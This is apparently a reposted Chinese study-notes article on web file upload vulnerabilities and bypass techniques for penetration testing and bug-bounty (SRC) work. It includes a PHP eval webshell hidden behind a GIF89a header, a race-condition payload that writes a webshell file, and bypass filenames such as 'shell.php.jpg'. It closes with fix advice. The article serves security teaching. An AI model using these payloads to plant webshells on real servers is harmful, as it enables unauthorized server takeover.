文章总结: 该文档系统阐述了文件上传漏洞的攻防体系,核心在于利用解析机制与验证逻辑缺陷实现WebShell上传。内容覆盖前端JS绕过、黑名单突破、解析漏洞、条件竞争及二次渲染等关键技术,并结合代码审计与OSS存储等真实架构进行分析。文章建议从解析机制、编程特性与存储架构多维度建立攻击思维,强调了在SRC活动中挖掘此类高危漏洞的实战价值与防护要点。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞分析,实战经验,代码审计
二、文件上传漏洞的本质
文件上传漏洞本质是:
攻击者利用上传功能向服务器写入可执行后门文件,从而实现远程控制。
攻击链通常如下:
上传恶意文件
↓
文件成功写入服务器
↓
服务器解析执行
↓
连接WebShell
↓
获取服务器权限
网站为了防止攻击,通常会增加各种安全校验:
常见检测包括:
| 检测类型 | 检测方式 | | — | — | | 后缀检测 | 黑名单 / 白名单 | | MIME检测 | Content-Type | | 文件头检测 | Magic Number | | 文件大小 | Size限制 |
但问题在于:
漏洞不仅存在于代码逻辑,还可能存在于语言版本、中间件、第三方组件等多个层面。
三、文件上传限制类型
文件上传一般分为两种情况:
1 无限制上传
最危险的情况:
任意文件均可上传
攻击者直接上传:
shell.php
然后访问:
http://target/upload/shell.php
直接获得 WebShell。
2 有限制上传
大多数真实系统会做限制,例如:
后缀限制
例如只允许:
jpg
png
gif
常见绕过方式:
shell.php.jpg
shell.pHp
shell.php3
MIME类型检测
HTTP请求中包含:
Content-Type: image/png
服务器只允许图片类型。
但是这个字段是:
客户端可控
攻击者完全可以伪造。
文件头检测
例如:
GIF89a
图片文件的 Magic Number。
攻击者可以构造:
GIF89a
<?php eval($_POST['cmd']); ?>
这就是典型的 图片马。
四、搭建文件上传漏洞测试环境
推荐使用以下靶场进行测试:
F8X
GitHub:
https://github.com/ffffffff0x/f8x
安全测试环境部署工具。
FuzzDB
https://github.com/fuzzdb-project/fuzzdb
漏洞测试字典库。
Upload-Labs
https://github.com/sqlsec/upload-labs-docker
文件上传漏洞靶场。
部署方式:
docker安装
f8x -d
或
f8x -docker
cd upload-labs-docker
docker-compose up -d
部署完成即可进行上传漏洞练习。
五、前端JS上传验证绕过
很多网站只在 前端 JavaScript 做文件检测。
判断方法:
-
打开 BurpSuite
-
抓包监听
-
上传文件
如果出现:
浏览器提示文件类型错误
但抓包工具没有看到上传请求
说明:
验证发生在前端JS
绕过方法:
直接抓包修改上传文件。
六、黑名单过滤绕过
黑名单策略经常存在逻辑缺陷。
例如:
过滤 .php
攻击者可以使用:
pphphp
php3
php4
pHp
如果代码过滤逻辑不严,就可以绕过。
七、系统大小写绕过
部分系统:
Linux
对大小写敏感。
如果黑名单只检测:
.php
攻击者可以使用:
.PHP
.pHp
绕过检测。
八、%00截断漏洞
早期 PHP 存在 NULL Byte 截断漏洞。
例如:
x.php%00.jpg
服务器解析流程:
x.php%00.jpg
↓
%00被截断
↓
x.php
最终执行 PHP 文件。
典型路径:
/var/www/html/upload/x.php%00
POST 场景可能需要 二次解码:
../upload/x.php%00
九、条件竞争漏洞
如果文件上传流程:
上传 → 保存 → 校验 → 删除
攻击者可以利用时间差:
上传恶意文件
同时不断访问文件
示例:
<?php
fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');
?>
不断发包:
上传请求
访问请求
在删除前执行。
十、二次渲染绕过
很多网站会对图片进行重新生成:
上传图片
服务器重新压缩
生成新图片
攻击流程:
1 上传正常图片
2 下载服务器渲染后的图片
3 对比图片差异
4 找到保留数据区域
5 在保留区域写入后门代码
6 利用 文件包含漏洞 执行代码
十一、函数漏洞利用
PHP 函数:
move_uploaded_file()
在某些情况下存在解析问题。
例如:
1.php/.
部分系统会解析为:
1.php
从而实现绕过。
十二、代码审计绕过(数组绕过)
某些代码会错误处理数组参数。
例如请求:
Content-Disposition: form-data; name="save_name[0]"
http://2.php/
Content-Disposition: form-data; name="save_name[2]"
gif
如果后端逻辑不严,可能绕过检测。
十三、真实环境中的文件上传架构
真实网站通常采用复杂的存储架构。
1 执行权限限制
上传目录:
/upload
通常设置:
禁止执行
攻击者需要:
控制上传路径
例如:
../../shell.php
2 文件解码还原
有些系统会把文件:
编码存储
访问时:
解码输出
这类情况通常无法直接利用。
3 分站存储
例如:
upload.xiaodi8.com 上传
images.xiaodi8.com 存储
攻击成功条件:
存储站点允许执行脚本
否则只能当静态文件。
4 OSS对象存储
很多系统使用:
OSS
例如:
-
阿里云OSS
-
AWS S3
文件存储在:
Bucket
一般:
不允许脚本执行
因此只能当文件访问。
十四、文件上传漏洞挖掘场景
在真实渗透测试中,上传点通常出现在:
用户上传
例如:
头像上传
附件上传
资料上传
JS或API接口
例如:
/api/upload
/uploadFile
后台管理系统
例如:
CMS后台
源码泄露
如果获得源码,可以直接审计:
upload.php
第三方编辑器
很多编辑器存在上传接口:
例如:
-
UEditor
-
CKEditor
-
KindEditor
这些组件历史上存在大量漏洞。
十五、文件上传漏洞攻击思维体系
完整攻击流程:
发现上传点
↓
分析验证逻辑
↓
判断验证类型
↓
构造绕过Payload
↓
上传WebShell
↓
获取服务器权限
核心分析维度:
前端验证
后端逻辑
服务器解析
文件存储
第三方组件
代码逻辑
十六、SRC漏洞报告复盘
在 SRC 漏洞平台中,文件上传漏洞通常属于:
高危漏洞
报告内容一般包括:
1 漏洞描述
2 漏洞原理
3 复现步骤
4 漏洞截图
5 利用方式
6 修复建议
示例:
漏洞类型:
文件上传漏洞
影响:
攻击者可上传WebShell获取服务器权限
修复建议:
限制文件类型
验证文件内容
关闭执行权限
使用随机文件名
结语
文件上传漏洞看似简单,但真正的利用往往需要深入理解:
-
Web服务器解析机制
-
编程语言特性
-
文件结构
-
存储架构
在真实攻防环境中,一个成功的文件上传漏洞利用,往往是:
多种技术组合的结果。
因此,学习文件上传漏洞的关键,不是记住 Payload,而是建立完整的 Web攻防思维体系。
当你开始从:
代码逻辑
服务器配置
文件解析
存储架构
多个维度分析上传功能时,才真正进入 高级 Web 安全研究者的视角。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第68天-Web攻防实战:文件上传漏洞(JS提取 / 源码审计 / 编辑器利用)深度学习笔记》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论